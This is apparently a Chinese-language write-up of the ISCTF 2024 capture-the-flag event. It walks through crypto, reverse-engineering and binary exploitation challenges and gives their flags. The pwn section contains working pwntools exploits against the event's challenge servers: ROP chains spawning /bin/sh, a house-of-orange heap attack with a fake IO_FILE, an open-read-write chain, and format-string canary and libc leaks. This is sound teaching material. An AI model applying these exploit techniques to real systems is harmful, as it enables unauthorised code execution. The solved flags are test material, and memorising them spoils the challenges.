附件里面的内容如下

Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

base是底数,ciphertext是密文,hint提示模数是2**512

根据离散对数就可以求解了

解题的脚本如下

m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

n = 2 ** 512
import sympy
flag=sympy.discrete_log(2**512,c,m)
import binascii
print(binascii.unhexlify(hex(flag)[2:]))

结果如下

ISCTF{5f95ca93-1594-762d-ed0b-a9139692cb4a}

蓝鲨的RSA

出题人:ooiiiop

解题过程:

def gethint(h,p):
    decimal.getcontext().prec = 1024
    H = decimal.Decimal(int(h))
    P = decimal.Decimal(int(p))
    leak = decimal.Decimal((8*H*P - 1) / (16*P*P))
    return leak
p = getPrime(512)
q = getPrime(512)
f = getPrime(512)
g = getPrime(128)
h = gmpy2.invert(f, p) * g % p

n = f*q
e = 65537
m = bytes_to_long(flag)

读题可知:

img

化简:

img

联系到连分数定理:

img

img

变形得到:

img

则可以使用连分数定理求的h,p

接下来是第二部分:

img

即:g=hf−kp g = hf-kp

构造矩阵:

img

可以看到满足LLL算法,即可求解f,再进行n分解。

解题代码如下:

#encoding=utf-8
import decimal

import gmpy2

from sage.all_cmdline import *
from sage.all import *
from Crypto.Util.number import *
from sympy.external.gmpy import *

c = 587245179027322480379581200283415189810421958968516831191660631552695197401940961725169763339428980298128692606951200581483431566182271569207988054537414289564013883171160614196522169980339024564884190765084419167938640701193928669
hint = "0.2427542737153618793334900104191212626446625872340179613972610728976081994921862517310186626304527115125924716035632505287111236596234811779375148657365336957626454491865164520834975233144235103885081268955448330597818844340656652982593545877449810282619387305007246499089258519062093814083383071737897364213169497762760797899310673216754376885295598952272100016962368762532805864796748393317534908268379601445004775495237901072144236328105526403608646831124542336002540011176406194984370372589752234640498423911217119220030242197564695880261480071310815379681250975672935544404797155655708441222387631967447088319826137200280810029390387418159394276760100487636516708987579464183208860911063948902432948269805493252899815187044807603000344378890835564906163242023600624338694473573763088471321731611077227112205396909637906507673367598721218000123789690455125909411309668615810240938664264212370815385282488986625554704015828254539339719586211726300858711328516487805251366293457402531199532556110786048074755505680210260049"
n = 839799159583571337450826982895478997157381520448790705455708438948150905361244823725400304016136863419723271227616684280477524669207590477657886623628732394537008838314015048569652202355464477680540884654473950183135276735347866051

cf = continued_fraction(RealNumber(hint))
convers = cf.convergents()
for pkd in convers:
    # possible k, d
    h, p = pkd.as_integer_ratio()
    if isPrime(p) and p.bit_length() == 512:
        #print(h * 2)
        #print(p)
        h = h*2
        break

Ge = Matrix(ZZ,[[1,h],[0,p]])
#print(Ge.LLL())
f,g = Ge.LLL()[0]
f,g = abs(f),abs(g)
f = int(f)
phi = (f-1)*(n//f-1)
d = invert(65537,phi)
print(long_to_bytes(pow(c,d,n)))

#b'ISCTF{27d5473d7ceb8a89-98eb9b12-e8f6b2ae-cc3bcbca17c434b}'

我和小蓝鲨的秘密

出题人:fpclose

解题过程:

给出图片加密脚本

from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")

rsa的难度也不大,可以直接分离,纯纯签到题,根据加密脚本拿到密钥后解密即可

exp:

from PIL import Image
from Crypto.Util.number import inverse, long_to_bytes
import numpy as np

# 公钥参数
n = 29869349657224745144762606999
e = 65537

# 假设我们已获得私钥 d
# 计算私钥 d,假设 p 和 q 已知
p = 160216064374859
q = 186431677583461
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

# 加载加密的图像数据
encrypted_image_path = "encrypted_image.npy"
encrypted_array = np.load(encrypted_image_path, allow_pickle=True)

h, w, _ = encrypted_array.shape
decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)  # 结果是标准的 uint8 类型

# 对每个像素的 R、G、B 分量进行 RSA 解密
for i in range(h):
    for j in range(w):
        # 提取加密的 RGB 值
        encrypted_r, encrypted_g, encrypted_b = encrypted_array[i, j]

        # 使用私钥 d 逐个通道解密
        decrypted_array[i, j, 0] = pow(encrypted_r, d, n)  # 解密 R 通道
        decrypted_array[i, j, 1] = pow(encrypted_g, d, n)  # 解密 G 通道
        decrypted_array[i, j, 2] = pow(encrypted_b, d, n)  # 解密 B 通道

# 转换回图片并保存
recovered_img = Image.fromarray(decrypted_array)
recovered_img.save("recovered_image.png")

print("图片已还原并保存为 recovered_image.png")

解密后即可看到flag

img

小蓝鲨的密码

出题人:fpclose

解题过程:

我发誓这题真的是出出来给大家签到的。结果到比赛结束了只有12解。出乎了我的意料QAQ

下载附件解压,有一张图片、一个压缩包、一个文本文件。首先查看文本文件,得到铭文

U2FsdGVkX1/spa9kXpumHMXclw7hNOVc6ySFWYESHjfM5igIuKER30eSBp5NS0vMjkBa4Za6NgQbHVW/hJRiGA==

看到这个标准开头,猜测要么是rabbit要么是aes。都是需要密钥的。压缩包也是有密码,那么压缩包的密码就在图片中。

img

得到提示,路就在脚下。

img

路就在脚下,不就是图片的名字吗,那么压缩包密码为:

bluesharkinfo

解压压缩包得到一个密码字典

img

尝试后可发现,是aes的密码,密钥是isctf2024。解密拿到flag。

img

小蓝鲨的方程

出题人:Pr3d1ct

解题过程:

很常见的rsa加一些高中方程知识

首先我们先看p的生成

def get_p():
    BITS = 256
    bits = 777
    oder = 4
    a = randint(1 << bits, 1 << bits + 1)
    p=getPrime(BITS)
    p1 = p**oder+a
    return p,p1

在这里可以看到这个函数会返回p和poder+a,因为a的大小远远比poder小,所以我们开order方可以得到一个近似于但是略微大于p的值,这时候我们将得到的值稍微减少一下取nextprime就可以得到p了。

接下来看第二步,给了两个值,一个c一个c1

c1=pow(s,e,n)c1=pow(s,e,n)

c=pow(s∗∗3+1,m1,s∗∗5)c=pow(s**3+1,m1,s**5)

可以发现我们跟flag有关的信息在c的生成里面,可能会有师傅想到dlp,其实哪有这么麻烦,其实就是一个高中知识辣,大家知道方程不,知道(x+1)**2等于什么吧,知道(x+1)**3等于什么吧,知道(x+1)**4,那师傅们展开看

(x+1)2=x2+2x+1,(x+1)3=x3+3x**2+3*x+1,接下来不多说,可以很容易的发现我们展开的多项式系数其实就是从C_0_n到C_n_n嘛,其实就是高中的排列组合

那我们们根据这个就可以知道了pow(s3+1,m1,s5),在多项式倒数第二项得到的系数就是我们的m1,然后我们首先利用得到的c1,解密rsa得到s,然后我们展开c1,c1 + ks5=s(3m1)+...+m1s3+1,两边同时减1,这时候我们可以发现等式右面剩下sm1+...+m1s,这时我们想获取m1,我们可以直接将式子整除s,这样我们就可以的到式子(c1+ks5-1)//s3=s**(3(m1-1))+...+m1,同时mod s得到(c1-1) mod s = m1,所以我们就得到答案了

很简单吧是不是就是最基础的rsa加一个高中学的方程呢,exp如下:

from Cryptodome.Util.number import *
from gmpy2 import *
c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436
n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111
p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553

print(iroot(p1,4))
c0=iroot(p1,4)[0]

for i in range(2000):
    b=c0-i
    x=next_prime(b)
    if n%x==0:
        print(x)
        print(iroot((n // x), 4))
        q=iroot((n // x), 4)[0]
        d=inverse(65537,(x-1)*(q-1)*q3)
        s=int(pow(c1,d,n))
**        m=((c-1)//s**3)%s
        print(long_to_bytes(m))
        m1=long_to_bytes(m)
        break

三、Pwn

小蓝鲨stack

出题人:笙南

解题过程:

比较少见的一个题型,不过并不难,ida64查看代码发现只有一个read和printf打印我们输入的东西

这里是没办法通过rop链去泄露libc地址的。

程序原设定的返回地址是

img

而我们需要利用的正是__libc_start_main里面的一段gadget

我们将libc文件拖入ida,分析__libc_start_main段上的汇编

img

程序原返回地址是24083这里,我们发现在该地址上面还有一段call rax,而此时rax恰好被赋值为了main函数起始地址,也就是说我们将返回地址修改为mov rax这里就可以再次返回到main函数,并且由于printf函数会打印我们输入的东西,我们还可以把返回地址给打印出来,这样我们就拿到了libc地址,以及第二次利用read函数,接下来就是直接打rop链获得权限。

img

调试发现确实会返回到main函数

from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
#p=process('./ezstack')
p=remote('27.25.151.12',28909)
elf=ELF('./ezstack')
#libc=ELF('/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def pr(a):
    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#bug()
s(b'a'*0x28+b'\x7c')
libc_base=get_addr64()-147580
li(hex(libc_base))
system,bin=get_sb()
rdi=libc_base+0x0000000000023b6a
pay=b'a'*0x28+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
s(pay)
inter()

Orange

出题人:SunD1y

解题过程:

菜单题,edit可以溢出,无free,使用house of orange 构造largebin attack 攻击,接着使用edit 溢出泄漏 heap和libc地址 触发largebin attack,布置好fake IO FILE 之后调用exit 触发getshell

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
import numpy as np
from pwncli import *


local_file  = './pwn'
elf = ELF(local_file)
libc=ELF('libc.so.6')
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h''


s      = lambda data               :io.send(data)
sa     = lambda delim,data         :io.sendafter(delim, data)
sl     = lambda data               :io.sendline(data)
sla    = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru     = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32   = lambda data               :u32(data.ljust(4, b'\x00'))
uu64   = lambda data               :u64(data.ljust(8, b'\x00'))
get_q = lambda data: (~np.uint64(data) + 1)
get_d = lambda data: (~np.uint32(data) + 1)
def get_sh() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr    = lambda                    :io.interactive()
is_debug = 0
if is_debug:
    io = process(local_file)
    #io = process(["/Users/Juxin.Gao/Desktop/ctf/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so",local_file], env={"LD_PRELOAD":"./libc-2.23.so"})
    libc = elf.libc
else:
    io = remote('192.168.18.22',8888)
    libc = elf.libc
    #libc = ELF('.') #libc

def debug(cmd='''b *$rebase(0x0001624 )'''):
    if is_debug: gdb.attach(io,cmd)
    pause()

def men(i):
    ru(':')
    sl(str(i))
def add(i,size,content):
    men(1)
    ru(':')
    sl(str(i))
    ru(':')
    sl(str(size))
    ru(':')
    s(content)
def free(i):
    men(2)
    ru(':')
    sl(str(i))
def show(i):
    men(3)
    ru(':')
    sl(str(i))
def edit(i,content):
    men(4)
    ru(':')
    sl(str(i))
    s(content)

for i in range(10):
    add(i,0x200,b'a')
for i in range(7):
    free(9-i)
free(0)
free(1)

# for i in range(7):
#     add(i+3,0x200,b'a')

add(0,0x300,b'a')
#add(2,0x200,b'a')

show(0)
ru('a')
libc_base=uu64(b'a'+r(5))-0x21b061
print(hex(libc_base))
free(0)
add(0,0x300,b'a'*0x10)
show(0)
ru('a'*0x10)
heap_base=uu64(r(6))-0x290
print(hex(heap_base))

heap1=heap_base+0x8d0
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f2e7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))

system=libc_base+libc.sym["system"]
tar=stdout
gadget=0x000000000173C1E+libc_base

key=(heap1>>12)^tar
add(1,0x100,b'a'*0x10)
flag_addr = heap_base+ 0x6e0+0x30
payload = p64(pop_rdi) +p64(flag_addr) +p64(pop_rax)+p64(0x3b)+p64(pop_rsi)+p64(0)+p64(pop_rdxr12)+p64(0)+p64(0)+p64(syscallret)
#payload = payload.ljust(0x100, b'\x00')
payload += b'/bin/sh\x00'
payload=payload.ljust(0x200,b'a')
edit(1,b'a'*0x100+p64(0)+p64(0x211)+payload+p64(0)+p64(0x211)+p64(key))

add(2,0x200,b'a')

#print(hex(gadget))
#debug()
#debug()
print(hex(gadget))
print(hex(tar))
print(hex(pop_rdi))
#debug()
#tmp=p64(1)*2+p64(libc_base+0x00080520    )+p64(gadget)#+p64(1)*7+p64(libc_base+0x08052A   )*19
#tmp=tmp.ljust(0x200,b'\x00')

system=libc_base+libc.sym['system']



rop=heap_base + 0x6c0

file1 = IO_FILE_plus_struct()
file1.flags = 0   
file1._IO_read_ptr = pop_rbp  #迁移 stack
file1._IO_read_end = rop  - 8 
file1._IO_read_base = leave_ret #第二次 迁移stack 到heap 
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_base 
file1.chain = leave_ret # 第一次 call 此处
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20


print("vatable vaule",hex(file1.vtable))


add(2,0x200,bytes(file1))
#add(2,0x200,p64(0)*2+p64(libc_base+0xebc88)+p64(gadget)+p64(0)*7+p64(libc_base+0x80520))



#sl(p64(rdi)+p64(sh)+p64(libc_base+libc.sym.system))
#sl(b'a'*0x50)
#edit()
itr()

netcat

出题人:b55t4ck

解题过程:

通过nc工具连接即可获得flag,linux系统一般自带nc,Windows可能需要安装nc.exe

girlfriend

出题人:b55t4ck

解题过程

打开ida,静态分析

img

s1可以通过越界读取,将其覆盖为admin,从而进入vuln函数

img

这里循环了8次,此时发生数组溢出,可将返回地址填为amaze(后门函数)的地址,进行调用system("/bin/sh"),

img

从而获取远程终端shell,通过命令cat flag即可

from pwn import *
p=remote("27.25.151.12",25632)
#p=process("./pwn")
elf=ELF("./pwn")
p.sendafter(b'first i need your team id',b'a'*0x28+b'admin')
#gdb.attach(p)

p.sendlineafter(b'please input your 1 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 2 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 3 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 4 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 5 girlfriend birthday',b'6')
p.sendlineafter(b'please input your 6 girlfriend birthday',b'6')

p.sendlineafter(b'please input your 8 girlfriend birthday',b'4198942')

p.interactive()

ret2orw

出题人:b55t4ck

解题思路:

img

首先可以在vuln函数发现栈溢出,而此时又给了应该貌似是后门函数。

img

跳转到这里来会出现bad syscall。这是由于禁用了system调用的原因,在init函数可以看到。

img

既然可以栈溢出,那么我们就可以利用gadget去调用libc里面存在的open,read,write。从而读取flag。

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("gz.imxbt.cn",20370)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x00000000004012CE
ret = 0x4010CF

#debug('b *0x4012a0')
#gdb.attach(p)
sa(b'this?\n', b'a'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))
pause()
libc_base = uu64() - libc.sym['puts']
print(hex(libc_base))
pause()
system, binsh = get_sb()

rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0

payload = b'a'*0x28
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)

sa(b'this?\n', payload)
sleep(1)
s(b'/flag')

#pause()
inter()

0verf10w

出题人:b55t4ck。

一道比较综合的题目,考察栈迁移,格式化字符串,还有防御机制绕过的漏洞,首先可以通过格式化字符串泄露canary,和libc。再通过vuln函数溢出的一个字节实现栈迁移,从而劫持程序执行流,然后再通过one_gadget即可获取shell。需要注意的是,本地环境需保持与远程一致,不然可能出现本地打得通远程打不通的情况。

from pwn import *
p=remote("27.25.151.12",39834)
#p=process("./stack")
elf=ELF("./stack")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
#gdb.attach(p)
p.sendlineafter(b'?\n',b'a'*0x1)

p.sendafter(b'!\n',b'\x00'*8+b'%3$p%9$p%15$p')

libc_base=int(p.recv(14),16)-libc.sym["read"]-18
print(hex(libc_base))
canary=int(p.recv(18),16)
stack_addr=int(p.recv(14),16)-0x158
print(hex(stack_addr))
ogg=libc_base+0xebd43
kx=libc_base+0x21c100
a = int((hex(stack_addr)[-2:]),16)
p.sendafter(b'?\n',p64(canary)+p64(kx)+p64(ogg)+p64(canary)+p8(a-8))
p.interactive()

ez_game

出题人:Qjzhalx

解题过程:

利用gets 能不能覆盖掉 seed

from pwn import *
from ctypes import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = process("./pwn")

libc = cdll.LoadLibrary("./libc.so.6")
payload = b"a" * 400 + p64(0)
q.sendline(payload)

libc.srand(0)
for i in range(20001):
    num = str(libc.rand()%7+1)
    q.sendline(num)


q.recvuntil("It's your reward, take advantage of it.")
q.interactive()

四、Re

你知道.elf文件嘛

出题人:BaitRc1

解题过程:

签到题,拿到附件,先查一下壳,vmp壳,64bit的,很显然,不能直接逆,可以先运行一下看看,虚拟机运行一下,提示输入base64编码的标准码表,直接输入回车拿flag:

img

py不好,会被ban

出题人:BaitRc1

解题过程:

python逆向,拿到附件,先用pyinstxtractor.py解包,然后用uncompyle6反编译发现不支持,并且可以知道python版本是3.12,只能试试pycda,发现反编译不完全,

img

所以就只能看python的字节码了,这里就不显示字节码了,挺长的,但是不复杂。

就是一个简单的异或

直接写解密脚本

enc = [0x19, 0x55, 0x58, 0x3e, 0x69, 0x5d, 0x6e, 0x7c, 0x1, 0x61, 0x2e, 0x2f, 0x4b, 0x5, 0x74, 0x30, 0x2, 0x19]
key = [0x69, 0x73, 0x5f, 0x2e, 0x70, 0x79, 0x5f, 0x6e, 0x6f, 0x74,
       0x5f, 0x70, 0x79]
for z in range(len(enc)):
    enc[z] ^= key[z % len(key)]

for j in range(len(enc) - 2, -1, -1):
    enc[j] = enc[j] ^ enc[j + 1]

enc.reverse()

for i in range(len(enc) - 2, -1, -1):
    enc[i] = enc[i] ^ enc[i + 1]

for iiii in range(len(enc)):
    print(chr(enc[iiii]), end="")

flag:NSSCTF{Y0u_r3@l1y_knOw_py}

找啊找

出题人:0e1G7

解题过程:

查壳,是个upx变异壳,64bit

img

看段可以看出UPX的区段名被修改了

img

可以直接来修改它

img

然后就用UPX正常脱壳就行

img

img

使用64位的ida打开脱壳后的程序,分析主函数的逻辑

很简单的逻辑,字符大小写转换和异或运算

memcmp(&unk_40040, Buf2, 0x25ui64) 比较 Buf2 和某个已知内存区域 unk_40040 的前 37 字节是否相同。

如果相等,则输出 "Right,Cracker!!!";否则输出 "Sorry,Try Again!"。

img

我们可以动态调试其逻辑,也可以直接看交叉引用得知真正要运算的内容

img

img

真正的数据块在unk_20030

img

提取出来直接写出脚本

img

 #include<stdio.h>
int main() {
    unsigned char data[36] = { 0x50, 0x4A, 0x5A, 0x4D, 0x5F, 0x42, 0x7E, 0x76, 0x76, 0x5D,0x18, 0x18, 0x08, 0x4A, 0x56, 0x66, 0x60, 0x56, 0x4C, 0x66,0x5F, 0x08, 0x57, 0x5D, 0x66, 0x08, 0x6D, 0x66, 0x54, 0x79,  0x50, 0x57, 0x18, 0x18, 0x79, 0x44, };
    for (int i = 0; i < 36; i++) {
        data[i] ^= 0x39;
        if (data[i] >= 'a' && data[i] <= 'z')
            data[i] -= 32;
        else if (data[i] >= 'A' && data[i] <= 'Z')
            data[i] += 32;
    }
    puts(data);
    return 0;
}

ISCTF{gooD!!1SO_yOU_F1ND_1t_M@IN!!@}

MIPS

出题人:BaitRc1

解题过程:

拿到附件,是一个.s文件,根据题目名称可知,这是MIPS架构的汇编,可以尝试进行编译一下,在虚拟机上配置好环境,运行指令

mips-linux-gnu-gcc -o MIPS MIPS.s

就成功把汇编编译成可执行程序了,然后就可以正常使用ida分析了

但是这里还有一个点就是除了ida7.5和ida9.0能反编译MIPS架构的汇编语言,其他版本的需要安装插件才能反编译。至于插件安装就不在这里赘述了。直接看反编译伪代码,

img

这是main函数,看到还有MAIN_main函数,双击进入,可以看到

int MAIN_main()
{
  size_t v1; // $v0
  int i; // [sp+18h] [+18h]
  _BYTE v3[4]; // [sp+1Ch] [+1Ch] BYREF
  _DWORD v4[12]; // [sp+20h] [+20h] BYREF
  _DWORD v5[12]; // [sp+50h] [+50h] BYREF
  char v6[32]; // [sp+80h] [+80h] BYREF

  memcpy(v4, &unk_124C, sizeof(v4));
  puts("You know who is my lover???");
  _isoc99_scanf("%3s", v3);
  if ( v3[0] == 'h' && v3[1] == 'J' && v3[2] == 'x' )
  {
    puts("But, y0u know the flag???");
    _isoc99_scanf("%26s", v6);
    for ( i = 0; i < 12; ++i )
      v5[i] = v4[i];
    my_really_lover(v5, v3, 12);
    v1 = strlen(v6);
    four_c_114(v6, v1, v5, 12);
    if ( CcHhEeCcKk(v6) )
      puts("C0ngratul4tions!!!");
    return 0;
  }
  else
  {
    puts("Y0u are not my lover!");
    return 0;
  }
}

逻辑很简单,就是先输入一个字符串,和既定的一个字符串比较,然后再对该字符串进行异或得到真正的key,然后拿着这个key进行魔改的RC4加密,和标准的RC4加密相比,多异或了一个数,很常规的魔改了

img

可以动调拿flag,也可以写脚本解密,这里是解密脚本

#include<stdio.h> 
#include<stdlib.h>
#include<string.h> 
int init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    
        int i = 0, j = 0;
        char k[256] = { 0 };
        unsigned char tmp = 0;
        for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key[i % Len_k];
        }
        for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
        }
        return 0; 
}


int rc4(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) 
{
        
        unsigned char s[256];
        init(s, key, Len_k);
        int i = 0, j = 0, t = 0;
        unsigned long k = 0;
        unsigned char tmp;
        
        for (k = 0; k < Len_D; k++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                t = (s[i] + s[j]) % 256;
                Data[k] = Data[k] ^ s[t] ^ 0x52;
        }
        return 0; 
}
int main()
{
        
        unsigned char key[13] = "yabijionjion"; 

        printf("%s\n",key);
        unsigned long key_len = sizeof(key) - 1;
        unsigned char qw[] = {214, 50, 39, 78, 119, 202, 213, 118, 163, 33, 2, 9, 104, 9, 69, 137, 54, 154, 186, 144, 236, 71, 152, 248, 254, 240, 75};//密文
        rc4(qw, sizeof(qw), key, key_len);
        for (int i = 0; i < sizeof(qw); i++)
        { 
                printf("%c",qw[i]);  
        }
        return 0;
}

ISCTF{m3n_sh0w_mE_y0uR_Wor}

萝卜子的螃蟹

出题人:guoql

解题过程:

通过shift+F12字符串找到相关字符串

交叉引用找到具体的主函数。

img

然后动态调试,给函数头下个断点,F8步过

程序什么时候卡了说明什么时候到input函数了。

然后命个名。

img

这v31和v29

包有一个是flag的

一眼地址,G跳转过去看0x4d4050

img

还是个地址

继续跳转到0x891fd0

img

找到输入的内容了。

继续F8到if

img

跳到0x8899f0

原来这个才是真正的flag的变量

那这个函数想必就是求字符串长度了

要求长度是52

构造一个长度52的字符串过去

'a'*52

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

然后下边就是一些赋值操作了

img

v35 是上边的赋值操作的数组,在405850这个函数中传入v40和v35,想必是将v35进行操作后给到v40

然后在405e60中执行类似操作,给到v36

至于v36的真容,我们暂且按下不表

继续往下看,sub_405F80就是ida的传统艺能了,经典看不了反汇编

我们F7进入函数去看

img

这里call了一个403cf0

这个函数实际上就是一个copy函数

img

当然你可以一步一步继续分析

但是太慢了

我们给flag处下个内存读断点

访问内存时中断

img

如果触发到ntdll的断点不用管,我们继续一路向西,继续运行。

碰到第一个.text段,发现没什么东西,继续运行,直到碰到第二个.text段

F5反汇编看一眼

img

发现在这里这个值被取出,然后进行异或了。

img

这里的a1也可以看出来是我们的flag地址(当然这里重启过多次程序,地址发生变化了,但是唯一不变的是flag长度是52,也就是0x34)

我们不妨在这儿下个断点。

img

如果我们跳到v30对应的地址

img

你会发现这里就是我们下断点的位置。

我们重启一下程序,构造一下差异化字母表(即输入为ABCDEFG....),方便我们定位

img

这里确实就是我们flag的位置

然后循环0x34,也就是52次

我们先把这个v42搞出来,肯定是个数组,但是ida没有识别到

well,你当然可以直接挨个提,但是我们也可以根据我们的flag,和v30的值异或。

就得到这个v42数组了。

下边那一串数组就是v30了

